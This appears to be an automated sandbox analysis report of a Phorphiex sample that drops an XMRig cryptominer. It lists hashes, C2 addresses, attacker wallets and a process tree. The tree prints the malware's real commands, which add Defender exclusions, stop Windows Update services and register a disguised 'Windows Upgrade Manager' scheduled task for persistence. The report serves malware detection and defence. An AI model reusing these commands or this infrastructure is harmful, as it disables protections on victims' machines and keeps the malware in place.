Analysis

  • max time kernel
    120s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-08-2024 03:50

General

  • Target

    5d1135b32b4af8708f9ad6aea8db3d00N.exe

  • Size

    766KB

  • MD5

    5d1135b32b4af8708f9ad6aea8db3d00

  • SHA1

    68b22e4d635dfc45683b88717d78ecaf94027a12

  • SHA256

    a3696b5b8b4ae68810aac3f537a8c800248f7cef38a1ad657b3572515a121bdc

  • SHA512

    bc71416f7707767ea6b1ff4609734a8f0f9a259e670c7627a22f5468e97278e8f78f3a21824ad677d4d771ecc342761c1638aa40180f1321ad5155a537be81a0

  • SSDEEP

    12288:nSxGGU888888888888W88888888888S/1PZDmuli7hCXGo0XCBlfLj9oZok19FhQ:SxGcn5ilUG1CBVLj9o6k1vh/BZS0hU

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

http://91.202.233.141/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Attributes
  • mutex

    x88767657x

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 48 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\5d1135b32b4af8708f9ad6aea8db3d00N.exe
        "C:\Users\Admin\AppData\Local\Temp\5d1135b32b4af8708f9ad6aea8db3d00N.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4012
        • C:\Users\Admin\AppData\Local\Temp\CAA3.exe
          "C:\Users\Admin\AppData\Local\Temp\CAA3.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Users\Admin\AppData\Local\Temp\739413930.exe
            C:\Users\Admin\AppData\Local\Temp\739413930.exe
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3840
            • C:\Windows\sysmysldrv.exe
              C:\Windows\sysmysldrv.exe
              5⤵
              • Modifies security service
              • Windows security bypass
              • Checks computer location settings
              • Executes dropped EXE
              • Windows security modification
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3248
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3048
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5108
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:60
                • C:\Windows\SysWOW64\sc.exe
                  sc stop UsoSvc
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:1252
                • C:\Windows\SysWOW64\sc.exe
                  sc stop WaaSMedicSvc
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:3600
                • C:\Windows\SysWOW64\sc.exe
                  sc stop wuauserv
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:32
                • C:\Windows\SysWOW64\sc.exe
                  sc stop DoSvc
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:4848
                • C:\Windows\SysWOW64\sc.exe
                  sc stop BITS
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:1480
              • C:\Users\Admin\AppData\Local\Temp\2948217387.exe
                C:\Users\Admin\AppData\Local\Temp\2948217387.exe
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3100
              • C:\Users\Admin\AppData\Local\Temp\221468500.exe
                C:\Users\Admin\AppData\Local\Temp\221468500.exe
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2100
              • C:\Users\Admin\AppData\Local\Temp\1439413949.exe
                C:\Users\Admin\AppData\Local\Temp\1439413949.exe
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3180
                • C:\Users\Admin\AppData\Local\Temp\1789710041.exe
                  C:\Users\Admin\AppData\Local\Temp\1789710041.exe
                  7⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4156
        • C:\Users\Admin\AppData\Local\Temp\is-2QHRN.tmp\5d1135b32b4af8708f9ad6aea8db3d00N.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-2QHRN.tmp\5d1135b32b4af8708f9ad6aea8db3d00N.tmp" /SL5="$80050,299791,119296,C:\Users\Admin\AppData\Local\Temp\5d1135b32b4af8708f9ad6aea8db3d00N.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2608
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
        2⤵
          PID:644
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2308
        • C:\Windows\System32\notepad.exe
          C:\Windows\System32\notepad.exe
          2⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1528
      • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
        "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
        1⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4992

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        d3ade909743ca7766535172e0191bddf

        SHA1

        50b6e5bcd795505765305979b7f7613af958f68c

        SHA256

        e825369a33de0e39bde1a95b2b50d7cd42410d7678945c8479691209a5cf77e2

        SHA512

        256b15f20f118161df8211542277eadd538c13977c21b8204eb2062a17578687fe531dcc3c65cd923b251ea023bb1177ef3d6052626d01605c4af3f9f978fca8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        d2b29ac4f962cc165aa55ecb1ca3e00e

        SHA1

        3b0cd863aa5ce1834145dd7f95b5acfdb210fba9

        SHA256

        90c7543d851b7b4c36a87184ec947ae3c7b18810840b491ba447f9dc81c895b9

        SHA512

        79c3ad83fbc207fe23307217df3baeaa5768d753b4d8cce0d0696a593bf4a1ff1c83c310937c71c4bee842171fa89ee6c4ef7cb108343e4970bfc3dfbb423f37

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        36a8889ff5aeff26369d80e2b24f2a9a

        SHA1

        3bb674df970b4ed386ccce2c1b1a0e2ebbca6c8e

        SHA256

        7de9d5dbdbb5c9c3c16497fde4ae73c4ddae9e0f1c655e16a4dfd17e787d383d

        SHA512

        48b0f0691710a0f54621f82d5f579c1621b172eaa82e496a858c148d2b4a1cdd2d4317b66858800fada98f7584e697f6d8e8c971019b00986c33a9278cfbdf57

      • C:\Users\Admin\AppData\Local\Temp\1439413949.exe

        Filesize

        10KB

        MD5

        4fe8dc617311f7b6a4b8ebe0b1e24090

        SHA1

        2bd9341f17c8c0c62e56e1863b1d2f9c43cb30e5

        SHA256

        5016e413b0c563efc920165e7235c9f2706808877668bd297b41435acc7aade4

        SHA512

        910a12fbaffd45b0f797a95c6678a32c4a27adbb7d1474f183f8863d310d31fbba17d5d747da87ac4a30dd7cb22c67a4d1c25b302ef0c3f6954d91a459c692db

      • C:\Users\Admin\AppData\Local\Temp\1789710041.exe

        Filesize

        5.4MB

        MD5

        41ab08c1955fce44bfd0c76a64d1945a

        SHA1

        2b9cb05f4de5d98c541d15175d7f0199cbdd0eea

        SHA256

        dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493

        SHA512

        38834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116

      • C:\Users\Admin\AppData\Local\Temp\2948217387.exe

        Filesize

        7KB

        MD5

        af0622340ed8ba48efa92e0b2d9aca7b

        SHA1

        77e7181b4d4e6957cf13ba37f590cf219aac88cb

        SHA256

        7b7d433c6c204ed3bcd1ea74106592edfa1a30b6ef7bbc3ed21efcbadc51e526

        SHA512

        e1368c1c292789115b51cae549bd2d484dbc614eb3e57aa5fce324385d28e9fbddf60064b4c88237b38cded294d090d07c491b646651c45bcd6235630d94ef46

      • C:\Users\Admin\AppData\Local\Temp\739413930.exe

        Filesize

        92KB

        MD5

        be9388b42333b3d4e163b0ace699897b

        SHA1

        4e1109772eb9cb59c557380822166fe1664403bd

        SHA256

        d281e0a0f1e1073f2d290a7eb1f77bed4c210dbf83a0f4f4e22073f50faa843f

        SHA512

        5f887f1060b898c9a88745cde7cf509fdf42947ab8e5948b46c2df659468dc245b24d089bdbec0b314c40b83934698bf4b6feb8954e32810ff8f522aab0af19a

      • C:\Users\Admin\AppData\Local\Temp\CAA3.exe

        Filesize

        9KB

        MD5

        8d8e6c7952a9dc7c0c73911c4dbc5518

        SHA1

        9098da03b33b2c822065b49d5220359c275d5e94

        SHA256

        feb4c3ae4566f0acbb9e0f55417b61fefd89dc50a4e684df780813fb01d61278

        SHA512

        91a573843c28dd32a9f31a60ba977f9a3d4bb19ffd1b7254333e09bcecef348c1b3220a348ebb2cb08edb57d56cb7737f026519da52199c9dc62c10aea236645

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1jjam4th.lta.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\is-2QHRN.tmp\5d1135b32b4af8708f9ad6aea8db3d00N.tmp

        Filesize

        1.1MB

        MD5

        6a96bef4679e16a54b4090e74664dcca

        SHA1

        c8631c1624b98f6709b1ac37ce3956faed29bc30

        SHA256

        cb095356ddcfcbace96c6252fb73a267ed011c15ff206a7a9302007baa68a783

        SHA512

        924ab1e5c6ea72342eab6e78899a56c415e90020c46d3d8a81ae4da9276db7ea1df9684965a81fb95a6f2f9cf103b31413d67770eb15725ad04198c5d00037d0

      • memory/1528-143-0x00007FF78C5C0000-0x00007FF78CDAF000-memory.dmp

        Filesize

        7.9MB

      • memory/1528-136-0x00000239CBF00000-0x00000239CBF20000-memory.dmp

        Filesize

        128KB

      • memory/1528-155-0x00007FF78C5C0000-0x00007FF78CDAF000-memory.dmp

        Filesize

        7.9MB

      • memory/1528-149-0x00007FF78C5C0000-0x00007FF78CDAF000-memory.dmp

        Filesize

        7.9MB

      • memory/1528-139-0x00007FF78C5C0000-0x00007FF78CDAF000-memory.dmp

        Filesize

        7.9MB

      • memory/1528-146-0x00007FF78C5C0000-0x00007FF78CDAF000-memory.dmp

        Filesize

        7.9MB

      • memory/1528-152-0x00007FF78C5C0000-0x00007FF78CDAF000-memory.dmp

        Filesize

        7.9MB

      • memory/2608-111-0x000001B3F8630000-0x000001B3F8652000-memory.dmp

        Filesize

        136KB

      • memory/3924-13-0x0000000000400000-0x000000000052C000-memory.dmp

        Filesize

        1.2MB

      • memory/3924-62-0x0000000000400000-0x000000000052C000-memory.dmp

        Filesize

        1.2MB

      • memory/4012-28-0x0000000000400000-0x0000000000428DB0-memory.dmp

        Filesize

        163KB

      • memory/4012-9-0x0000000000401000-0x0000000000412000-memory.dmp

        Filesize

        68KB

      • memory/4012-7-0x0000000000400000-0x0000000000428DB0-memory.dmp

        Filesize

        163KB

      • memory/4156-117-0x00007FF76D330000-0x00007FF76D8A6000-memory.dmp

        Filesize

        5.5MB

      • memory/4992-135-0x00007FF6FF3D0000-0x00007FF6FF946000-memory.dmp

        Filesize

        5.5MB

      • memory/5108-33-0x0000000005920000-0x0000000005986000-memory.dmp

        Filesize

        408KB

      • memory/5108-65-0x0000000007520000-0x000000000752E000-memory.dmp

        Filesize

        56KB

      • memory/5108-66-0x0000000007530000-0x0000000007544000-memory.dmp

        Filesize

        80KB

      • memory/5108-67-0x0000000007620000-0x000000000763A000-memory.dmp

        Filesize

        104KB

      • memory/5108-70-0x0000000007600000-0x0000000007608000-memory.dmp

        Filesize

        32KB

      • memory/5108-64-0x00000000074F0000-0x0000000007501000-memory.dmp

        Filesize

        68KB

      • memory/5108-63-0x0000000007560000-0x00000000075F6000-memory.dmp

        Filesize

        600KB

      • memory/5108-61-0x0000000007350000-0x000000000735A000-memory.dmp

        Filesize

        40KB

      • memory/5108-60-0x00000000072D0000-0x00000000072EA000-memory.dmp

        Filesize

        104KB

      • memory/5108-59-0x0000000007990000-0x000000000800A000-memory.dmp

        Filesize

        6.5MB

      • memory/5108-58-0x00000000071B0000-0x0000000007253000-memory.dmp

        Filesize

        652KB

      • memory/5108-57-0x0000000007190000-0x00000000071AE000-memory.dmp

        Filesize

        120KB

      • memory/5108-47-0x000000006F800000-0x000000006F84C000-memory.dmp

        Filesize

        304KB

      • memory/5108-46-0x0000000006580000-0x00000000065B2000-memory.dmp

        Filesize

        200KB

      • memory/5108-45-0x0000000005FF0000-0x000000000603C000-memory.dmp

        Filesize

        304KB

      • memory/5108-44-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

        Filesize

        120KB

      • memory/5108-43-0x00000000059B0000-0x0000000005D04000-memory.dmp

        Filesize

        3.3MB

      • memory/5108-32-0x00000000058B0000-0x0000000005916000-memory.dmp

        Filesize

        408KB

      • memory/5108-31-0x0000000005020000-0x0000000005042000-memory.dmp

        Filesize

        136KB

      • memory/5108-30-0x0000000005090000-0x00000000056B8000-memory.dmp

        Filesize

        6.2MB

      • memory/5108-29-0x0000000004A20000-0x0000000004A56000-memory.dmp

        Filesize

        216KB